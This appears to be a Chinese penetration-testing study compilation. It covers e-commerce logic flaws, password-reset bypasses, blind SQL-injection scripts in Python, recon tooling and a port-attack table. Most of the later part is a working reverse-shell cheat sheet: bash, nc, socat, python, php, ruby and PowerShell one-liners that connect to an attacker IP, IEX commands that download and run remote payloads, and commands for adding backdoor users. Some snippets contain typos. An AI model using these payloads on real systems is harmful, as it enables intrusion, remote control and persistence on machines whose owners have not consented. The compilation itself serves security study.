电商类网站在业务流程整个环节,需要对业务数据的完整性和一致性进行保护,特别是确保用户在用客户端与服务、业务系统接口之间的数据传输的一致性。通常在订单类交易流程中,容易出现服务器端未对用户提交的业务数据进行强制性校验,过度信赖客户端提交的业务数据而导致的商品金额篡改漏洞。商品金额篡改测试,通过抓包修改业务流程中的交易金额篡改字段,例如在支付页面抓取请求中商品的金额字段,修改成任意数额的金额并提交,查看能否以修改后的金额数据完成业务流程。该项测试主要针对订单生成的过程中存商品支付金额校验不完整而产生业务安全风险点,通常导致攻击者用实际支付远低于订单支付的金额订购商品的业务逻辑漏洞。
很多商品在限制用户购买数量时,服务器仅在页面通过JS脚本限制,未在服务器端校验用户提交的数量,通过抓取客户端发送的请求包修改JS端生成处理的交易数据,如将请求中的商品数量改为大于最大限制的值,查看能否以非正常业务交易数据完成业务流程。
该项测试主要针对电商平台由于交易限制机制不严谨、不完整而导致的一些业务逻辑问题。例如,在促销活动中限制商品的购买数量,却未对数量进行前后端严格校验,往往被攻击者所利用,购买多个促销商品,造成商家的损失。
请求重放漏洞是电商平台业务逻辑漏洞中的一种常见的由设计缺陷所引发的漏洞,通常情况下所引发的安全问题表现在商品首次购买成功后,参照订单商品的正常流程请求,进行安全模拟正常的订购业务流程的重放操作,可以实现“一次购买,多次收货”等违背正常业务逻辑的结果。
该项测试主要针对电商平台订购兑换业务流程中每一笔交易请求的唯一性判断缺乏有效机制的业务逻辑问题,通过该项测试可以验证交易流程中随机数、时间戳等生成机制是否正常。
该项测试主要针对一些电商类应用程序在进行业务办理流程中,服务端没有对用户提交的查询范围、订单数量、金额等数据进行严格校验而引发的一些业务逻辑漏洞。通常情况下,在业务流程中通过向服务端提交高于或低于预期的数据以校验服务端是否对所提交的数据做预期强校验。存在此类脆弱性的应用程序,通常表现为查询到超出预期的信息、订购或兑换超出预期范围的商品等。该项测试主要判断应用程序是否对业务预期范围外的业务做出正确回应。
商品数量篡改测试是通过在业务流程中抓包修改订购商品的数量等字段,如将请求中的商品数量修改成任意非预期数额、负数等进行提交,查看业务系统能否以修改后的数量完成业务流程。
该项测试主要针对商品订购的过程中对异常数据的处理缺乏风控机制而导致相关业务逻辑漏洞,例如针对订购中的数量、价格等缺乏判断而产生意外的结果,往往被攻击者利用。
测试以damicmsv5.4 网上商城为例。
密码找回相关安全
找回密码测试中要注意验证码是否会回显在响应中,有些网站程序会选择将验证码回显在响应中,来判断用户输入的验证码是否和响应中的验证码一致,如果一致就会通过检验。
找回密码功能模块中通常会将用户凭证(一般为验证码)发送到用户自己才可以看到的手机号或者邮箱中,只要用户自己不泄露自己的验证码就不会被攻击者利用,但是有些应用程序在验证码发送功能模块验证码位数及复杂性较弱,也没有对验证码做次数限制而导致验证码可被暴力枚举并修改任意用户密码。
在测试验证码是否可以暴力破解时,可以先将验证码多次发送给自己的账号观察验证码是否有规律,如每次接收到验证码是否有规律,如每次接收到的验证码为纯数字并且是四位数。
即修改请求的响应结果来达到密码重置的目的,存在这种漏洞的网站或者手机APP往往因为校验不严格而导致非常危险的重置密码操作。
这种漏洞的利用方式通常是在服务端发送某个密码重置的凭证请求后,出现特定的影响值,比如true、1、OK、success等,网站看到回显内容为特定值后即修改密码,通常这种漏洞的回显方值校验是在客户端进行的,所以只需要修改回显即可。
找回密码逻辑漏洞测试中也会遇到参数不可控的情况,比如要修改的用户名或者绑定的手机号无法在提交参数的时候修改,服务端通过读取当前session会话来判断要修改密码的账号,这种情况下能否对session中的内容做修改以达到任意修改密码重置的目的呢?
在某网站中的找回密码负的功能中,业务逻辑是:由用户使用手机进行注册,然后服务端会向手机发送验证码短信,用户输入验证码提交后,进入密码重置页面。
对网站中session覆盖的测试如下:
在找回密码功能中,很多网站会向用户邮件发送找回密码页面链接。用户只需要进入邮箱,打开找回密码邮件中的链接,就可以进入密码重置页面了。找回密码的链接通常会加入校验校验参数来确认链接的有效性,通过参数的值与数据库生成的值是否一致来判断当前找回密码的链接是否有效。
示例:http://www············?uid=xx_uu_xx_suu&token=14637895
找回密码功能逻辑中常常会在用户修改密码接口提交参数中存在传递用户账号的参数,而用户账号参数作为一个可控量是可以被篡改的,从而导致修改账密的凭证或修改的目标账号出现偏差,最终造成任意账号密码修改的漏洞。
通常在找回密码逻辑中,服务端会要求用户提供修改的账号,然后给这个账号发送只有主人才能看到的凭证。比如给这个账号的主人绑定的邮箱或者手机发送验证码,或者找回密码链接,这样可以保证只有账号主人才能看到的凭证。但是如果服务器对账号的控制逻辑不当,就会导致原有的账号被篡改为其他账号,服务器把凭证发送给被篡改后的账号的邮箱或者手机,最终造成可利用凭证重置任意账号密码的漏洞。
接口参数账号修改流程测试为拦截前端请求,通过修改请求内的账号ID、名称或者邮箱、手机号等参数,将修改后的数据发送给服务器进行欺骗达到重置的目的。
靶场:以metinfo v4.0 为例。注册/登录自己的账号,通过抓包,修改用户名,重置admin或其他用户密码。
POC即proof of concept:漏洞的概念证明(就是可以证明漏洞存在的东西,可以是一段代码·······)。
EXP即exploit:漏洞利用,一般是个demo程序,也可以是一个脚本(python、php······)
vul即vulnerable
现以python为例
以下主要针对的是web应用渗透中漏洞,而与web应用之间的交互,大多数都是基于HTTP协议的。所以python中主要的为利用HTTP协议,使用requests模块构造EXP
requests是使用Apache2 licensed许可证的HTTP库,使用python编写,比urllib2模块更加简洁。Request支持HTTP连接保持和连接池,支持使用cookie保持会话,支持文件上传、支持自动响应内容的编码,支持国际化的url和post数据自动编写。使用它可完成浏览器的任何操作。
GET #获取资源
POST #传输实体主体
PUT #传输文件
HEAD #获得响应报文头部
DELETE #删除文件
OPTIONS #查询支持的方法
TRACE #追踪路径
CONNECT #要求用隧道协议连接代理
LINK #建立和资源间连接
UNLINK #断开连接关系
get() #get方法,res=requests.get()
post()
put()
delete()
head()
options()
GET参数:params
HTTP头部:headers
post参数:data
文件:files
cookies:Cookie
重定向处理:allow—redirects=False/True
超时:timeout
证书验证:verify=False/True
工作流(延迟下载):stream=False/True
事件挂钩:hooks=dict(response=)
身份验证:auth=
代理:proxies=
URL:.url
text:.text
编码:。encoding/encoding=
响应内容:.content
json编码器:.json
原始套接字响应:.raw/.raw.read() #需要开启strem=True
历史响应代码:.history
抛出异常:.raise_for_status()
查看服务器响应头:.headers
查看客户端请求头:.request.headers
查看cookie:.cookies
身份证验证:.auth=
更新:.update
解析连接头:links[]
导入模块:import requests
发送get请求:res=requests.get("http://·····")
获取响应报文:res.text
获取响应状态码:res.status_code
获取响应编码:res.encoding
以二进制方式获取响应正文:res.content
获取响应头部:res.headers
获取提交的URL:res.url
import requests
url="http://·····"
header={"User-Agent":"AJEST"}
res=request.get(url=url,headers=header)
······
try:
res=requests.get(url=url,timeout=2) #响应超过2S即为超时 ==> 产生异常
except Exception as e:
print("timeout")
······
getpara={"name":"AJEST","pwd":"123456"}
res=requests.get(url=url,params=getpara) #==> http://·····?name="ajest"····
······
······
postdata={"name":"ajest",······}
res=requests.post{url=url,data=postdata}
·······
······
upfile={"up":open("info.php","rb")}
postdata={"upsubnit":"上传"}
res=requests.post(url=url,file=upfile,data=postdata) #url须有接收上传文件的能力
······
······
url="http://······"
res=requests.get(url=url)
res=requests.get(url=url,allow_redirects=False)
·······
······
res=requests.get(url=url)
name=res.cookies.get_dict()["name"]
coo={"name":name}
res=requests.get(url=url,cookies=coo)
·······
indexurl=······
loginurl=······
postdata={"name":"AJEST"}
res=requests.get(url=indexurl)
res=requests.post(url=loginurl,data=postdata)
cookie=res.cookies.get_dict()
res=requests.get(url=indexurl,cookie=cookie)
以sqllab第8关为例
#判断数据库长度 ····· normalHTMLlen=len(requests.get(url=url+"?id=1").text) #页面正常时,页面长度 dbnamelen=0 while True: dbnamelen_url=url+"?id=1'+and+length(database())="+str(dbnamelen)+"--+" if len(requests.get(dbnamelen_url).text)==normalHTMLlen: print(dbnamelen) break if dbnamelen==30: print("Error") break dbnamelen+=1 #判断数据库名 dbname="" for i in range(1,9): for a in string.ascii_lowercase: dbname_url=url+"?id=1'+and+suber(database(),"+str(i)+",1)="+a+"--+" if len(requests.get(dbname_url).text)==normalHTMLlen: dbname+=a break
······ def timeout(url): try: res=requests.get(url,timeout=3) return res.text except Exception as e: return "timeout" #超时(sleep(5))返回“timeout" dbnamelen=0 while True: dbname+=1 dbnamelen+=1 #如果长度对了,延时5S触发超时 dbnamelenurl=url+"?id=1'+and+if(length(database()))="+str(dbnamelen)+",sleep(5),1)--+" if "timeout" in timeout(dbnamelenurl): print(dbnamelen) break ·········
在收集DNS信息时主要关注注册商、管理员联系方式、电话和邮箱、子域名等信息。
查询网站:站长之家、爱站 ·······
whois查询
whois 是一个集成在kail中的小工具,可以用来查询域名注册等信息。
示例:命令:whois testfire.net # whois 域名
也可以通过站长之家进行whois查询:http://whois.chinaz.com
信息反查
除了whois查询以外,还可以进行反查:邮箱反查、注册人反查、电话反查 ······
子域名查询
子域名信息收集除了上面说的通过子域名网站查询、证书提取等方法外,常用的就是利用工具枚举,其原理是通过域名字典加以dns服务器解析验证得到子域名。
dnsrecon工具
dnsrecon在kail系统中集成,使用时需准备子域名字典(一般是域名前缀)
命令: dnsrecon -d [域名(根域名)] -D [字典] -t -brt
参数解释:-d 指定域名,-D 指定字典,-t brt 指定brt(爆破)这个枚举形式
子域名挖掘机
注意:准备一个字典里面写上所有可能的域名,字典写在工具文件夹下 .dic .txt文件,字典中每个单词依次去尝试,就叫爆破。
ksubdomain 工具
ksubdomain是一款基于无状态子域名爆破工具,支持在Windows/Linux/Mac上使用,它会很快的进行DNS爆破,在Mac和Windows上理论最大发包速度在30w/s,linux上为160w/s的速度。
项目地址:https://github.com/knownsec/ksubdomain
常用命令
使用内置字典爆破 ksubdomain -d seebug.org 使用字典爆破域名 ksubdomain -d seebug.org -f subdomains.dict 字典里都是域名,可使用验证模式 ksubdomain -f dns.txt -verify 爆破三级域名 ksubdomain -d seebug.org -l 2 通过管道爆破 echo "seebug.org"|ksubdomain 通过管道验证域名 echo "paper.seebug.org"|ksubdomain -verify 仅使用网络API接口获取域名 ksubdomain -d seebug.org -api 完整模式,先使用网络API,在此基础使用内置字典进行爆破 ksubdomain -d seebug.org -full
subfinder 工具
httpx 工具
通过DNS解析找到ip地址
ping方法
ping [域名]
nslookup方法
dig工具
dnsenum工具
dnsenum [域名]
**注意:**推荐使用dnsenum,工具在解析域名时,会自动检测域传送漏洞。
站长之家、爱站等网站查询
ip查询
通过站长之家、爱站等网站可直接查询ip的基本信息
同ip网站查询
ipwhois
一般使用站长之家、爱站等网站直接查询ipwhois信息
iplocatio
直接查询ip地址经纬度
网站:https://www.maxmind.com/zh/home
通过GPS查询物理位置(通过经纬度)
网站:http://www.gpsspg.com/maps.html
概念
CDN是内容分发网络。本身是进行节点缓存,使网络访问更加块。一般情况下是没办法得到目标网站的真实ip的。关于CDN加速可以作为一个课题。参考资料如下:http://www.glri.org。
CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥堵。
判断是否存在CDN
使用超级Ping(站长工具)——利用多节点技术进行请求返回判断
CDN绕过技术
主要地址分类
常见端口
端口 | 服务 | 漏洞 |
---|---|---|
21/69 | ftp/tftp:文件传输协议 | 爆破、嗅探溢出、后门、匿名访问 |
22 | ssh | 爆破、OpenSSH漏洞 |
23 | telnet:远程连接 | 爆破、嗅探 |
25 | SMTP邮件服务 | 弱口令、未授权访问、邮件伪造 |
53 | DNS:域名系统 | DNS区域传输、劫持、缓存投毒、隧道技术刺透防火墙 |
67/68 | dhcp | 劫持、欺骗 |
80/443/8080 | web | 常见web攻击、控制台爆破、对应服务器版本漏洞 |
80/8080 | Apache/tomcat/Nginx/Axis2等中间件 | 爆破:弱口令(爆破manage后台)、解析漏洞、http慢速攻击:可以把服务器打死,对一些大型网站与影响 |
80/81/443 | IIS | PUT写文件:利用IISS漏洞,PUT方法直接将文件放置到服务器上、短文件名泄露:这种一般没什么影响、解析漏洞 |
110 | POP3 | 弱口令 |
123 | NTP | ntp放大攻击 |
137/139 | samba | 爆破、未授权访问:给予public用户最高权限、远程代码执行漏洞:CVE-2015-0240 |
143 | imap | 弱口令 |
161 | snmp | 爆破:publc弱口令 |
389 | ldap | 注入攻击:盲注、未授权访问、爆破:弱口令 |
443 | https | 心脏滴血 |
445 | smb | 溢出漏洞 |
512/513/514 | linux r | rlgoin远程登录 |
873 | rsync | 未授权访问 |
1080 | socket | 爆破:进行内网渗透 |
1098 | JAVARMI | 命令执行 |
1352 | Lotus | 爆破:弱口令(admin password)控制台、信息泄露:源代码、跨站脚本攻击 |
1433 | 1433 | 爆破:使用系统用户登录、注入攻击 |
1521 | oracle | 弱口令、注入 |
2049 | NFS | 未授权访问 |
2181 | zookeeper | 为授权访问 |
2222 | DA | DA虚拟主机 |
2601 | zebra | 默认密码 |
3128 | squid | 空口令 |
3306 | mysql | 爆破、拒绝服务、注入 |
3389 | RDP(widows远程桌面) | 弱口令、粘滞键后门:5次shift后门、3389漏洞:CVE-2019-0708等 |
4100 | SysBase | 弱口令 |
4440 | rundeck | 弱口令 |
4848 | glassfish | 爆破:控制台弱口令、认证绕过 |
5000 | sybase/DB2 | 弱口令、命令注入 |
5432/5422 | postgreSQL | 爆破:弱口令、注入、缓冲区溢出 |
5632 | pcanywhere | 拒绝服务、代码执行 |
5900 | vnc | 默认端口:5900+桌面ID(5901、5902)、爆破:弱口令、认证绕过、拒绝服务、权限提升(CVE-2013-6886) |
5984 | CouchDB | 命令执行 |
6082 | varnish | 为授权访问 |
6379 | redis | 弱口令、未授权访问 |
7001 | WebLogic | 爆破:弱口令、未授权访问、java方序列化、ssrf窥探内网、命令执行、congsole后台部署webshell |
8000 | jdwp | 命令执行 |
8069 | zabbix | 命令执行、未授权访问、弱口令 |
8080 | jboss | 默认端口8080:,其他端口:1098/1099/4444/4445/8009/8083/8093、爆破:弱口令、远程代码执行、java反序列化 |
8080 | Glassfish | 默认端口:http:8080/IIOP:3700/控制台:4848、爆破:弱口令、任意文件读取、认证绕过 |
8080 | Resin | 目录遍历、远程文件件读取 |
8080/8089 | JenKins | 爆破:弱口令、未授权访问、反序列化 |
8080 | jetty | 远程共享缓冲区溢出 |
8186 | activeMQ | 文件上传 |
8649 | ganglia | 未授权访问、信息泄露 |
8980 | OpenNMS | 反序列化 |
9080/9090 | websphere | 弱口令、反序列化、文件泄露 |
9200/9300 | elasticsearch | 远程代码执行、为授权访问 |
11211 | memcache | 未授权访问 |
27017/27018 | mongoDB | 未授权访问、爆破、注入 |
50000 | SAP | 命令执行 |
50010/50030/50070 | Hadoop | 信息泄露、命令执行、未授权访问 |
扫描技术
扫描自动化,提高效率,利用工具。
资产发现
扫描方式
端口状态
naabu
namp
nmap是一款跨平台的工具。在kail liunx虚拟机中,使用nmap时,建议桥接,在没有指定端口的情况下,默认扫描top1000端口
常用扫描参数:
-sn/-sP #ping扫描,不进行端口扫描
-P #端口扫描,多个端口
-sV #服务版本探测
-sT #TCP全连接扫描(会进行三次握手过程)
-sS #SYN半连接扫描(仅前两次握手)
-sN #null扫描(六个标志位全为0)
-sX #xmas扫描
-sF #Fin扫描
-O #启动操作系统探测(不太准确)
-A #全面扫描
-oN /-oX #保存扫描结果成.txt/.xml文件(参数后接文件名)
-T(0~5) #启用时序选项(扫描速度调整),0~5由慢到快,-T 3 普通速度,默认情况
#有防火墙时可以使用0减少被发现风险。
用法总结:
google hacking 语法
google 机器人,爬行全世界所有网站的内容google hacking 就是利用搜索引擎语法,获取有关网站的信息。如果google 搜索用不了,也可以考虑使用其他搜索引擎(比如百度)。
语法如下:
搜索网站目录结构(针对一些未设置主页的网站)
“Parent directoory" #直接搜索关键字
示例指定网站:
“Parent directoory" site:目标网站
搜索指定文件类型
filetype [文件类型]
搜索包含指定路径的网站页面
inurl:[在url中出现关键字]
示例:目标网站登录页面
site:[目标网站] inurl:login
搜索指定内容的网站页面
示例:搜索phpinfo()
intext:“PHP version”
ext:php
intext:“disabled”
intext:“Build Date”
intext:“system”
intext:“allow_url_fopen”
**注意:**intext为搜索含指定内容的页面,以上语句可多个一块使用。
搜索指定title的网站页面
示例:搜索 PHP Study 搭建的网站
intitle:"php中文网 探针2014“
钟馗之眼
zoomEye支持公网设备指纹检索和web指纹检索。网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务端操作系统、网站容器、内容管理系统和数据等。
使用语法示例如下,详情看官网手册。
搜索使用特定组件的网站
示例:搜素IIS 6.0组件
app:“microsoft IIS httpd” ver:"6.0
搜索开启指定端口的网站
port:3389 os:windows
shodan
官网:https://www.shodan.ioo
fofa
概念
网络漏洞扫描指利用一些自动化工具发现网络上各类主机设备的安全漏洞。这些自动化工具通常称为漏洞扫描器。
网络漏洞扫描通常可以分为两类:黑盒扫描和白盒扫描。
黑盒扫描
黑盒扫描一般都是通过远程识别服务的类型和版本,对服务是否存在漏洞进行判定。在一些最新的漏洞扫描软件中,应用了一些更高级的技术,比如模拟渗透攻击等
白盒扫描
白盒扫描就是在具有主机操作权限的情况下进行漏洞扫描。比如微软的补丁更新程序会定期对你的操作系统进行扫描,查找存在的安全漏洞,并向你推送相应的操作系统补丁。
白盒扫描的结果更加准确,但一般来说它所识别出的漏洞不应当作为外部渗透测试的最终数据,因为这些漏洞由于防火墙和各类防护软件的原因很有可能无法在外部渗透测试中得到利用。同时,一般情况下你是没有机会获得用户名和口令的。
漏洞扫描器原理及注意事项
漏洞扫描器会附带一个用于识别主机漏洞的特征库,并定期进行更新。在漏洞扫描的时候,就是利用特征库里的脚本与目标系统的反馈信息进行匹配,如果能匹配上,就说明存在某个漏洞。
漏洞扫描器在识别漏洞的过程中,会向目标发送大量的数据包,有时候会导致目标系统拒绝服务或被扫描数据包阻塞,扫描行为也会被对方的入侵检测设备发现。
漏洞扫描出的结果通常会有很多误报(报告发现的漏洞实际并不存在)或漏报(未报告发现漏洞但漏洞实际存在)。因此,需要对扫描结果进行人工分析,确定哪些漏洞是实际存在的,这个过程叫漏洞验证。这是渗透测试过程中不可或缺的一部分。只有验证漏洞存在的真实性,才能对漏洞进行深度利用。
在渗透测试工作中,得到客户认可的情况下,可以使用扫描器进行扫描,但使用时一定要注意规避风险,对其系统运行可能造成的影响降到最低。
背景
随着互联网的发展以及云计算的发展,使得政府、银行、企业以及各个组织基本上都有自己的门户网站。web应用越来越多,同时web应用的攻击成本、难度都比较低,web应用成为黑客攻击的主要目标。无论黑客处于什么样的目的,web应用面临的挑战都是很大的。如何及时、快速发现web应用安全漏洞,并且修补安全漏洞,减轻或消除web安全风险成为安全行业的重要课题。
小型web应用几十上百个页面,大型的web应用成千上万个页面。如果考人工的方法去检验每个页面的安全性,显然,这个成本是难以估计的。所以,我们需要借助于自动化工具,帮助审计人员去发现web安全漏洞。这些自动化工具就是web漏洞扫描器。
web漏洞扫描原理步骤
网络漏洞扫描器(扫主机和web应用)
openVAS、Nessus
web漏洞扫描器
APPScan、AWVS、nikto
我们已经拿下主机的一个webshell(或者可以利用RCE或间接RCE),我们想获取一个可以直接操作主机的虚拟终端,此时我们首先想到的是开启一个shell监听,这种场景比较简单,我们直接使用nc即可开启,如果没有nc也可以很轻松下载安装一个。
安装netcat
注意:默认各个linux发行版本已经自带了netcat工具包,但是可能由于处于安全考虑原生版本的netcat带有可以直接发布与反弹本地shell的的功能参数-e这里都被阉割了,所以我们需要手动下载二进制包(kail自带原生版本)
第一步:下载二进制netcat安装包
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/0.7.1.tar.gz
第二步:解压安装包
tar -xvzf netcat-0.7.1.tar.gz
编译安装
./configure —> make --> make install —> make clean
注意:具体安装见install安装说明文件内容
在当前目录下运行nc帮助:nc -h #显示有-e参数,说明可用
开启本地监听,并将本地bash发布出去
nc -lvvp 8080 -t -e /bin/hash
直接连接目标主机
攻击者:nc [目标ip:端口]
注意:连接上即可,可执行其他命令,测试权限,例如:whoami
目标主机作为一个内网主机,并没有公网IP地址,我们无法从外网发起对目标主机的远程连接。此时我们使用的方法是使用获取的webshell(或者直接或间接通过RCE漏洞)主动发起一个反弹的shell到外网,然后获取一个目标主机的shell终端控制环境,而有关shell反弹的方法。
bash直接反弹
bash一句话shell反弹:个人感觉最好用的方法就是使用bash结合重定向方向的一句话木马,具体命令如下:
bash反弹一句话:
bash -i >& /dev/tcp/目标ip/8080 0>&1
bash一句话命令详解
bash -i #产生一个bash交互环境
>& #将联合符号前内容与后面结合然后一起重定向给后者
/dev/tcp/目标ip/8080 #linux环境中所有内容都是以文件的形式存在的,其实大家一看这个内容
#就能明白,就是让主机与目标端口建立一个TCP连接
0>&1 #将标准的输入与标准输出内容相结合,然后重定向给前面标准的输出内容
bash一句话反弹shell完整解读过程
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立连接(即tcp8080会话连接)相结合,然后在重定向个TCP8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash反弹环境。
netcat工具反弹
netcat一句话反弹:netcat 反弹也是非常常用的方法,只是这个方法需要我们手动安装一个nc环境。但kail中自带nc环境。
#开启外网主机监听(hacker端)
nc -lvvp 8080 #监听8080端口 listening on[anx]8080······
#netcat安装(kail自带)
#netcat反弹一句话
nc [目标主机ip] -t -e /bin/bash #通过webshell(或RCE)我们可以使用nc命令直接建立
#一个tcp8080的会话连接,然后将本地的bash通过这个会
#话连接反弹给目标主机
#shell反弹成功
此时我们再回到外网主机,我们会发现tcp8080监听已经接收到远端主机发起的连接,并成功获取shell虚拟终端控制环境
socat反弹
socat是linux下一个多功能网络工具,名字由来是“socket CAT"因此可以看出它基于socket,能够折腾socket相关的无数事情,其功能与netcat类似。可看做netcat加强版。
#攻击机开启监听
socat TCP_LISTE:12345 #监听端口12345
#目标运行socat反弹shell
/tmp/socat.exe C:'bash -li',pty,pty,stderr,setsid,sigint,sane tcp:目标ip:1234
其他脚本一句话shell反弹
以下脚本反弹一句话的使用方法都是一样的,只要在攻击机在本地开启tcp8080监听,然后在远端目标上运行以下任意一种脚本语句,即可把目标的bash反弹给攻击机的8080端口(前提是目标主机上要有响应脚本解析的环境支持)
#python脚本反弹
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.10.11",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
ipv6协议如下
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",443,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
#php脚本反弹
php -r '$sock=fsockopen(“10.10.10.11”,443);exec(“/bin/sh -i &3 2>&3”);'
php -r '$s=fsockopen("10.10.10.11",443);$proc=proc_open("/bin/sh -i", array(0=>$s, 1=>$s, 2=>$s),$pipes);'
php -r '$s=fsockopen("10.10.10.11",443);shell_exec("/bin/sh -i &3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);`/bin/sh -i &3 2>&3`;'
php -r '$s=fsockopen("10.10.10.11",443);system("/bin/sh -i &3 2>&3");'
php -r '$s=fsockopen("10.10.10.11",443);popen("/bin/sh -i &3 2>&3", "r");'
#ruby脚本反弹
ruby -rsocket -e’f=TCPSocket.open(“10.10.10.11”,443).to_i;exec sprintf(“/bin/sh -i &%d 2>&%d”,f,f,f)’
ruby -rsocket -e ‘exit if fork;c=TCPSocket.new(“10.10.10.11″,”443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
#windows平台
ruby -rsocket -e ‘c=TCPSocket.new(“10.10.10.11″,”443″);while(cmd=c.gets);IO.popen(cmd,”r”){|io|c.print io.read}end’
windows主要反弹方式
powershell脚本反弹
#windows平台powershell脚本
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(“10.10.10.11”,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + “PS ” + (pwd).Path + “> “;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
powershell -nop -c “$client = New-Object System.Net.Sockets.TCPClient(‘10.10.10.11’,443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ‘PS ‘ + (pwd).Path + ‘> ‘;$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()”
powershell IEX (New-Object Net.WebClient).DownloadString(‘https://gist.githubusercontent.com/staaldraad/204928a6004e89553a8d3db0ce527fd5/raw/fe5f74ecfae7ec0f2d50895ecf9ab9dafe253ad4/mini-reverse.ps1’)
nishang反弹shell
Nishang(https://github.com/samratashok/nishang )是一个基于PowerShell的攻击框架,集合了一些 PowerShell攻击脚本和有效载荷,可反弹TCP/ UDP/ HTTP/HTTPS/ ICMP等类型shell。
TCP反弹shell
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.201.129/Shells/Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress 192.168.201.129 -port 9999
UDP反弹shell
powershell IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.201.129/Shells/Invoke-PowerShellUdp.ps1’);Invoke-PowerShellUdp -Reverse -IPAddress 192.168.201.129 -port 53
python、java、ruby等脚本语言反弹
nc反弹
msfvenom获取反弹一句话
msf框架为我们提供了生成一句话反弹shell的工具,即msfvenom,绝对的实用,当不记得上述所有反弹语句时,我们只要有metasploit,随时我们都可以使用msfvenom -l 来查询生成我们所需的各类命令一句话。
查询payload具体路径
直接使用msfvenom -l 结合关键字过滤(如 cmd/uninx/reverse),找出我们需要的各类反弹一句话payload的路径信息,只要我们有metasploit ,随时我们都可以使用msfvenom -l 来查询生成我们所需的各类命令一句话。
示例:msfvenom -l payload ‘cmd/unix/reverse’
生成需要的一句话
依照上面示例找到生成一句话paylaod路径,我们使用如下的命令生成反弹一句话,然后粘贴至目标机中执行运行
示例:
bash反弹一句话生成
msfvenom -p cmd/unix/reverse_bash lhost=本地ip lport=本地端口 R
阉割版nc反弹一句话生成
msfvenom -p cmd/unix/reverse_netcat lhost=本地ip lport=本地端口 R
msfvenom使用实例
开启攻击机监听:nc -lvvp 12345
获取一句话(以python一句话为例):(前提是目标中有python环境,linux发行版本默认安装有)
msfvenom -l payloads |grep 'reverse python'
目标中运行生成的一句话
攻击机监听接收反弹情况
交互式模式就是在终端上执行,shell等待你的输入,并且立即执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、退出。当你退出后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式,以shell script(非交互)方式执行。在这种模式 下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾EOF,shell也就终止了。
通过上述命令反弹shell得到的shell并不能称为完全交互的shell,通常称之为“哑”shell。
通常存在以下缺点:
无法添加账号解决方法
一句话添加账号
chpasswd方法 useradd newuser;echo "newuser:password"|chpasswd useradd -p 方法 useradd -p encrypted_password newuser 示例:useradd -p 'openssl password 12345' guest #创建guest用户,并加密码123456 相同方法不同实现 方法一: useradd -p "$(openssl passwd 123456)" guest 方法二: user_password="'openssl passwd 123456'" useradd -p "$user_password" guest echo -e 方法 执行语句:useradd newuser;echo -e "123456n123456n"|passwd newuser(用户名)
python标准虚拟终端获取(交互式shell)
通常获取的shell不稳定,我们利用python脚本获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
详解:
pty #python包含的一个标准库
-c #命令执行
pty.spawn #使用pty的spaw方法调用/bin/bash/ 获取一个标准的shell
提权是指通过各种办法和漏洞,提高自己在服务器中的权限,以便控制全局
windows:user >> administrator/system
linux: user >> root
**前提:**基于webshell或者其他低权限的情况下
系统漏洞权限一般就是利用系统自身缺陷,使用shellcode来提升权限。为了使用方便,windows和linux系统均有提权用的可执行文件。
例:
windows的提权EXP一般格式为:ms11080.exe
linux 的提权exp一般格式为 2.6.18—194 或 2.6.18.c
注意:kail 中自带漏洞库 searchsploit
searchsploit -m 35370 #将漏洞脚本拷贝至当前目录
searchsploit centos 7 #查找centos 7系统漏洞
windows系统漏洞,微软的漏洞编号命名格式为:ms08067 ,其中ms为microsoft 缩写,固定格式;08 表示发布年份;067 表示顺序——当年度发布的第67个
基于webshell的提权 (提权前提)
示例:上传iis的aspx大马。asp大马的权限比较低,尝试上传aspx大马
示例:针对windows 2003
信息收集 -----》 漏洞探测 (目标本地执行)
查看系统打补丁的情况——探测脚本
systeminfo > C:\Windows\Temp\a.txt&(for %i in (KB3057191 KB2840221 KB3000061 KB2850851 KB2711167 KB2360937 KB2478960 ····各个漏洞编号····) do @type C:\Windows\Temp\a.txt|@find /i “%i”|| @echo %i Not Installed)@dell /f /q /a C:\Windows\Temp\a.txt
